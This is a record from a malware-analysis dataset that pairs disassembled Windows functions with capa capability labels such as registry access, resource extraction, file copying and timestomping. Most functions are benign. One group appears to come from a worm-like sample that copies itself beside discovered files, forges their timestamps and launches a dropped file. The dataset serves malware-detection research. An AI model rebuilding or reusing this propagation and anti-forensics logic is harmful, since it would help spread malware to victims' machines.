joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41df30
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x558ced
mov eax, dword fs:[0]
push eax
sub esp, 0x4f8
push ebx
push esi
push edi
mov eax, dword [0x5aeb30]
xor eax, esp
push eax
lea eax, [esp + 0x508]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x28], 8
mov dword [esp + 0x2c], 0xff
call dword [sym.imp.comctl32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00445924
push 0
call fcn.004463a8
add esp, 4
push 0x58ad6c
mov ecx, esi
call fcn.00446896
mov edi, dword [sym.imp.user32.dll_GetSystemMetrics]
push 0
call edi
push 1
mov ebx, eax
call edi
cmp ebx, 0x400
jl 0x41e112
cmp eax, 0x300
jl 0x41e112
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWARE_a2t3h4m1_r3m5g9d_
push 0x80000002
mov dword [esp + 0x38], 0x2d07e25
mov dword [esp + 0x40], 4
mov dword [esp + 0x44], 3
call dword [sym.imp.advapi32.dll_RegCreateKeyExW]
lea edx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x28]
push ecx
push 0
push str.fsa91
push edx
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov eax, dword [esp + 0x14]
xor eax, 0x56bf
sub eax, 0x1781c3
mov ecx, dword [esp + 0x18]
not eax
xor eax, 0x8f11
inc eax
xor eax, 0x8f11
not eax
add eax, 0x1781c3
xor eax, 0x56bf
push 4
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push eax
push 3
push 0
push str.fsa91
push ecx
call dword [sym.imp.advapi32.dll_RegSetValueExW]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [esp + 0x2c]
push eax
call fcn.0041e540
lea ecx, [esp + 0x2c]
mov dword [esp + 0x510], 0
push 0x58adfc
mov dword [esi + 0x20], ecx
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov dword [esi + 0xd4], eax
test eax, eax
jne 0x41e0bd
push 0x40
push 0x58ae14
push 0x58ae1c
push eax
call dword [sym.imp.user32.dll_MessageBoxW]
push 0
call dword [sym.imp.user32.dll_PostQuitMessage]
call fcn.0044271b
mov eax, dword [eax + 0xc]
lea ecx, [esp + 0x2c]
mov dword [esi + 0xd8], eax
call fcn.004436ba
mov esi, dword [esi + 0xd4]
test esi, esi
je 0x41e0e5
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x514], 0xffffffff
call fcn.0041e140
xor eax, eax
mov ecx, dword [esp + 0x508]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x30
push 0x58ad8c
push 0x58ad98
push 0
call dword [sym.imp.user32.dll_MessageBoxW]
xor eax, eax
mov ecx, dword [esp + 0x508]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43e7f6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x43e83d
call fcn.0044271b
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x43e83d
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x43e859
push ebx
call dword [sym.imp.kernel32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0043e2f6
mov esi, eax
test edi, edi
je 0x43e857
test ebx, ebx
je 0x43e857
push ebx
call dword [sym.imp.kernel32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x43f010
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x54ebcb
call fcn.00536002
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x43f035
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.user32.dll_GetWindowTextW]
jmp 0x43f087
call fcn.00437cf1
push eax
lea ecx, [ebp - 0x10]
call fcn.00403d40
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0053523d
push eax
call fcn.00403e20
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004040d0
mov eax, esi
call fcn.005360da
ret 8

Function at 0x4438b9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0044271b
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4438f2
push edi
call dword [sym.imp.kernel32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.004434f6
push edi
mov esi, eax
call dword [sym.imp.kernel32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x443950
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x443974
cmp dword [edi + 0x74], 0
jne 0x443974
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0044271b
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00443911
push ebx
mov esi, eax
call dword [sym.imp.kernel32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x443d20
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.004439c4
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x443d6a
push edi
call dword [sym.imp.user32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00437bf2
push eax
push edi
call dword [sym.imp.user32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00437bc3
jmp 0x443d75
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0044bee9
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x443d7b
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0043e902
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.user32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x443db8
call fcn.004439c4
mov dword [esi + 0xc], 1
jmp 0x443dbd
call fcn.004439c4
cmp dword [esi], 0
je 0x443e06
push dword [ebp + 8]
call dword [sym.imp.user32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x443dde
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00437bf2
jmp 0x443df0
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.00404230
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.user32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00437bc3
jmp 0x443e2a
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.user32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x443e2a
push dword [esi]
push dword [ebp + 8]
call fcn.0044bee9
pop esi
pop ebp
ret 0xc

Function at 0x44600a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x446052
call fcn.0044271b
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x446052
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x446095
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x44607e
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x44607e
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x446092
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x449381
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0043cbdf
call fcn.00439f89
cmp eax, esi
pop esi
jne 0x44939d
mov ecx, 0x5b2440
jmp fcn.00451911
ret

Function at 0x4a5dbc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x4a5dd6
call fcn.0044271b
mov esi, dword [eax + 0xc]
push dword [0x5b3ed8]
push dword [ebp + 8]
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4a5df4
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4a5dec
push ebx
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4a5e21
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x4a5dee
push edi
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004a5cea
mov esi, eax
jmp 0x4a5e13

Function at 0x51b495
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x51b4ad
mov edi, dword [esi + 0xc]
jmp 0x51b4ed
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.kernel32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x51b4c6
call fcn.00440964
push edi
push dword [esi + 8]
call dword [sym.imp.kernel32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x51b4db
call fcn.00440964
push edi
call dword [sym.imp.kernel32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x51b4ed
call fcn.00440964
call fcn.0044271b
cmp dword [eax + 0x3c], 0
je 0x51b502
push edi
mov ecx, ebx
call fcn.0051a2c4
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.0051b3af
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x51b520
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x51b52c
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x534a4b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5aeb30]
jne 0x534a55
repz ret
jmp fcn.0053b863
Function at 0x546138
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5aeb30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0053b28b
and dword [ebp - 0x14], 0
cmp dword [0x5b68a0], 0
mov dword [ebp - 0x18], eax
jne 0x5461eb
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x546293
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x585e28
push ebx
call edi
test eax, eax
je 0x546293
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push 0x585e18
push ebx
mov dword [0x5b68a0], eax
call edi
push eax
call esi
push 0x585e04
push ebx
mov dword [0x5b68a4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5b68a8], eax
call edi
push eax
call esi
mov dword [0x5b68b0], eax
test eax, eax
je 0x5461eb
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5b68ac], eax
mov eax, dword [0x5b68ac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x546244
cmp dword [0x5b68b0], ecx
je 0x546244
push eax
call esi
push dword [0x5b68b0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x546244
test ebx, ebx
je 0x546244
call edi
test eax, eax
je 0x54623b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x54623b
test byte [ebp - 8], 1
jne 0x546244
or dword [ebp + 0x10], 0x200000
jmp 0x546277
mov eax, dword [0x5b68a4]
cmp eax, dword [ebp - 0x18]
je 0x546277
push eax
call esi
test eax, eax
je 0x546277
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x546277
mov eax, dword [0x5b68a8]
cmp eax, dword [ebp - 0x18]
je 0x546277
push eax
call esi
test eax, eax
je 0x546277
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5b68a0]
call esi
test eax, eax
je 0x546293
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x546295
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00534a4b
leave
ret
Function at 0x401229
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call fcn.00402d80
push edi
mov dword [ebp - 8], eax
call fcn.00401d50
push eax
pop ebx
push ebx
call fcn.00402d80
mov esi, eax
add esp, 0xc
sub eax, eax
test ebx, ebx
mov dword [ebp - 4], esi
jle 0x40128b
push edi
pop ecx
sub esi, edi
mov dl, byte [ecx]
cmp dl, 0x2e
je 0x401284
inc eax
mov byte [esi + ecx], dl
inc ecx
cmp eax, ebx
jl 0x401272
jmp 0x40128b
mov ecx, dword [ebp - 4]
mov byte [ecx + eax], 0
push dword [ebp - 4]
push str._s.cab
push dword [ebp - 8]
call fcn.00401cb9
add esp, 0xc
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret

Function at 0x4012b4
Capabilities:
Copy file
Delete file
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [0x4348f4]
mov ebx, ecx
mov dword [ebp - 0x114], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push ebx
mov dword [ebp - 0x118], eax
call edi
sub esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
lea ecx, [ebp - 0x12c]
push ecx
push esi
lea ecx, [ebp - 0x124]
push ecx
push eax
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push dword [0x4348f4]
lea eax, [ebp - 0x110]
push eax
mov dword [0x4348f8], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4013d6
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call fcn.00401000
push dword [ebp - 0x114]
call fcn.00401b21
add esp, 0xc
push esi
push esi
push 3
push esi
push esi
push 0x100
push dword [0x4348f4]
call ebx
mov ebx, eax
lea eax, [ebp - 0x12c]
push eax
push esi
lea eax, [ebp - 0x124]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x118]
push dword [0x4348f4]
call edi
push 2
push dword [ebp - 0x114]
call edi
sub eax, eax
inc eax
jmp 0x4013d8
sub eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4013e7
Capabilities:
Copy file
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x280
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov esi, str..exe
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x11c]
sub ebx, ebx
push str._s_s
push eax
mov dword [ebp - 0x264], ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x27c], ebx
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x278], eax
jne 0x401465
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
sub eax, eax
jmp 0x4015e4
mov esi, 0x104
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
mov edi, eax
push 0x6d
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x280]
push eax
push 1
lea eax, [ebp - 0x25d]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x25d], 0x30
je 0x40159c
push esi
call fcn.00402d80
pop ecx
push esi
mov dword [ebp - 0x268], eax
call fcn.00402d80
mov edi, eax
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.00401d50
pop ecx
mov ebx, eax
push ebx
call fcn.00402d80
pop ecx
xor ecx, ecx
or ebx, ebx
mov dword [ebp - 0x274], eax
jle 0x401530
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x230]
sub dword [ebp - 0x26c], eax
mov al, byte [ebp + ecx - 0x230]
cmp al, 0x2e
je 0x401526
mov edx, dword [ebp - 0x26c]
add edx, ecx
inc ecx
cmp ecx, ebx
mov byte [ebp + edx - 0x230], al
jl 0x401505
jmp 0x401530
mov eax, dword [ebp - 0x274]
mov byte [eax + ecx], 0
push dword [ebp - 0x274]
push dword [ebp - 0x270]
push str._s_s.cab
push esi
push dword [ebp - 0x268]
call fcn.00401d34
add esp, 0x14
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x270]
push str._s_s
push esi
push edi
call fcn.00401d34
add esp, 0x14
push 1
push dword [ebp - 0x268]
mov dword [0x4348f4], edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
or eax, eax
je 0x40159a
mov ecx, dword [ebp - 0x268]
call fcn.004012b4
test eax, eax
je 0x40159a
inc dword [ebp - 0x264]
xor ebx, ebx
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
or eax, eax
je 0x4015bc
cmp dword [ebp - 0x264], 2
jne 0x4015d2
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x27c], 1
cmp dword [ebp - 0x27c], ebx
je 0x40146a
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4015f3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x150], eax
and dword [esp], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
call fcn.00402d80
pop ecx
push ebx
push str._s.
push edi
mov dword [esp + 0x20], eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4016e1
cmp byte [esp + 0x44], 0x2e
jne 0x401674
cmp byte [esp + 0x45], 0
je 0x4016bb
cmp byte [esp + 0x45], 0x2e
jne 0x401674
cmp byte [esp + 0x46], 0
je 0x4016bb
test byte [esp + 0x18], 0x10
je 0x4016bb
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x44]
push eax
push ebx
push str._s_s_
push esi
push edi
call fcn.00401d34
add esp, 0x14
push edi
call fcn.00401c0b
or eax, eax
pop ecx
je 0x4016ae
push edi
call fcn.004013e7
or eax, eax
pop ecx
je 0x4016ae
inc dword [esp + 0xc]
push 1
push 0
push edi
call fcn.004015f3
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4016d7
mov eax, dword [esp + 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401658
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x15c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401caa
mov esp, ebp
pop ebp
ret

Function at 0x401770
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
sub esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 4
je 0x4017af
inc esi
cmp esi, 0xd
jl 0x401783
jmp 0x4017bf
push 4
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret
Function at 0x4017cc
Capabilities:
Get disk information
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov eax, dword [esp + 0x10]
add eax, 0x43
push eax
lea eax, [esp + 0x20]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x4018c2
push 0x104
call fcn.00402d80
mov esi, eax
lea eax, [esp + 0x20]
push eax
push str._swindows_
push esi
call fcn.00401cb9
push esi
call fcn.00401ab2
add esp, 0x14
test eax, eax
je 0x4018c2
push esi
push str._sWallPapers.jpg
push esi
call fcn.00401cb9
add esp, 0xc
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push esi
call ebx
cmp eax, 0xffffffff
je 0x401881
push eax
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
jmp 0x4018c2
push edi
push edi
push 1
push edi
push 2
push 0x40000000
push esi
call ebx
push 0
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push 0x21e7a
push 0x411fa0
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4018c0
push edi
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
xor edi, edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x4017f4
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401caa
add esp, 0x18
ret

Function at 0x401973
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
sub edi, edi
mov dword [esp + 8], edi
lea eax, [edi + 0x43]
push eax
lea eax, [esp + 0x10]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x401a17
or ebx, ebx
je 0x4019db
push 0x104
call fcn.00402d80
push eax
pop esi
push ebx
lea eax, [esp + 0x14]
push eax
push str._s_s_
push esi
call fcn.00401cb9
add esp, 0x14
jmp 0x4019fb
or edi, edi
je 0x401a17
push 5
call fcn.00402d80
push eax
pop esi
lea eax, [esp + 0x10]
push eax
push 0x40fbe0
push esi
call fcn.00401cb9
add esp, 0x10
push esi
call fcn.00401ab2
test eax, eax
pop ecx
je 0x401a17
push 3
push 0
push esi
call fcn.004015f3
add esp, 0xc
or eax, eax
jne 0x401a23
inc edi
cmp edi, 0xd
jl 0x40198f
jmp 0x401a2b
mov dword [esp + 8], 1
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.00401caa
push ebp
pop esp
pop ebp
ret